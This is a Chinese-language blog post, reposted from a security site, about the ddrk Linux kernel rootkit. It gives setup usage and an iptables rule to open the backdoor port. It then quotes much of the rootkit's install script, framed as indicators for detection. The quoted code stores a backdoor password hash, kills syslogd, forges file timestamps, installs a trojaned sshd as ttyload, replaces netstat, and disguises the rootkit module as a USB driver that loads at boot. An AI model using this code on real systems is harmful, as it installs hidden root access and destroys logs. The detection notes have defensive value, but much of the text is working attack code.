ddrk(DoDo's Rootkit)是一个Linux结合shv和adore-ng优点的,内核级rootkit
文件列表
netstat #替换系统的netstat,从ssh配置文件中读取端口,并隐藏
rk.ko #adore-ng编译后的内核模块,实现文件,进程隐藏功能
setup #rootkit安装主文件
tty #adore-ng带的ava工具
bin.tgz
---ttymon
---sshd.tgz
---sshd #sshd主程序
---shdcf2 #sshd配置文件
使用方法
#./setup password port
如果不设置用户名和端口,那么setup会利用文件里默认的用户名和密码安装
安装以后,使用ssh客户端远程连上此端口,使用用户名root,密码为设置的密码
按抓个过程很简单就不介绍了 参照使用方法安装就行了,在安装的过程中要注意一下iptables是否开启了,有的时候会遇到因为iptables开启导致无法连接设置的端口。
在iptables里面插入一条记录的语句如下:
iptables -I -INPUT -p tcp --dport port -j ACCEPT (冰的原点提供的方法,有问题问冰点 :) )
下面我们介绍一下如何进行检查
我主要是通过安装脚本进行分析的Ddrk rootkit的特征:
1、HOME路径
HOMEDIR=/usr/lib/libsh 在检测的时候输入ENV可以查看一下root账号的home目录是否被更改了。如果更改的话就需要进行检查是否被安装后门了。
2、/etc/sh.conf文件
在/etc/下创建sh.conf文件,MD5方式存在后门的连接密码
代码如下:
if test -n "$1" ; then
echo "Using Password : $1"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "No Password Specified, using default - $DEFPASS"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf //在etc下生成sh.conf文件
chown -f root:root /etc/sh.conf
3、kill syslog
Kill掉syslog进程,防止syslog进行日志记录。
代码如下:
killall -9 syslogd >/dev/null 2>&1
sleep 2
4、/lib/libsh.so目录
使用touch更改了文件创建的时间
代码如下:
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
if [ -d /lib/libsh.so ]; then //如果存在/usr/lib/libsh.so,删除掉
rm -rf /lib/libsh.so
fi
if [ -d /usr/lib/libsh ]; then //如果存在/usr/lib/libsh目录的话,删除目录
rm -rf /usr/lib/libsh/*
fi
mkdir $SSHDIR //创建/lib/libsh.so目录
touch -acmr /bin/ls $SSHDIR
//更改/lib/libsh.so 目录的创建时间
5、/usr/lib/libsh目录
查看此目录发现有两个文件
代码如下:
mkdir $HOMEDIR //创建/usr/lib/libsh目录
touch -acmr /bin/ls $HOMEDIR
6、/sbin/ttyload和/usr/sbin/ttyload文件属性
Ddrk删除了之前存在ttyload文件。创建了一个新的ttyload程序,更改了ttyload的时间,通过实践可以判断出是否进行过更改
代码如下:
/sbin/ttyload
if [ -f /sbin/ttyload ]; then
chattr -AacdisSu /sbin/ttyload //取消ttyload的隐藏属性
rm -rf /sbin/ttyload //删除ttyload
fi
if [ -f /usr/sbin/ttyload ]; then //如果/usr/sbin目录下存在ttyload,删除此文件
rm -rf /usr/sbin/ttyload
fi
if [ -f /sbin/ttymon ]; then //同上
rm -rf /sbin/ttymon
fi
mv $SSHDIR/sshd /sbin/ttyload 重命名sshd文件为ttyload
chmod a+xr /sbin/ttyload 添加所有用户的读和执行权限
chmod o-w /sbin/ttyload 删除other用户组的写权限
touch -acmr /bin/ls /sbin/ttyload 更改ttyload创建时间
kill -9 `pidof ttyload` >/dev/null 2>&1
/usr/sbin/ttyload
touch -acmr /bin/ls /usr/sbin/ttyload
chmod 755 /usr/sbin/ttyload
7、/sbin/ttymon文件属性
和/sbin/ ttyload文件的方式一样。
代码如下:
mv $BASEDIR/bin/ttymon /sbin/ttymon
chmod a+xr /sbin/ttymon
touch -acmr /bin/ls /sbin/ttymon
kill -9 `pidof ttymon` >/dev/null 2>&1
8、/etc/inittab文件属性
在inittab文件中增加内容
sed -e /etc/inittab > /etc/.inittab
(暂时这行代码的具体做什么我还不是太清楚。大牛们帮指导一下。)
更改inittab文件的创建时间
代码如下:
cp /etc/inittab /etc/.inittab
sed -e /etc/inittab > /etc/.inittab
touch -acmr /etc/inittab /etc/.inittab
mv -f /etc/.inittab /etc/inittab
9、加载rk.ko模块
这个模块是一个usb的驱动
使用modprobe命令进行加载
使用mv –f 强制替换
代码如下:
cd $BASEDIR
modprobe -r ehci-hcd
mv -f rk.ko /lib/modules/`uname -r`/kernel/drivers/usb/host/ehci-hcd.ko
modprobe ehci-hcd
10、替换netstat
代码如下:
touch -acmr /bin/netstat netstat
mv -f netstat /bin/netstat
11、加载rk.ko在自启动时
代码如下:
cat > /etc/sysconfig/modules/ehci.modules << EOF
#!/bin/sh
#install usb modules support
modprobe -r ehci-hcd
modprobe ehci-hcd
EOF
touch -amcr /bin/ls /etc/sysconfig/modules/ehci.modules
chmod 755 /etc/sysconfig/modules/ehci.modules
$HOMEDIR/tty h /etc/sysconfig/modules/ehci.modules > /dev/null 2>&1
本文转自 ☆★ 黑白前线 ★☆ - 转载请注明出处,侵权必究!
原文链接:
阅读(3796) | 评论(2) | 转发(1) |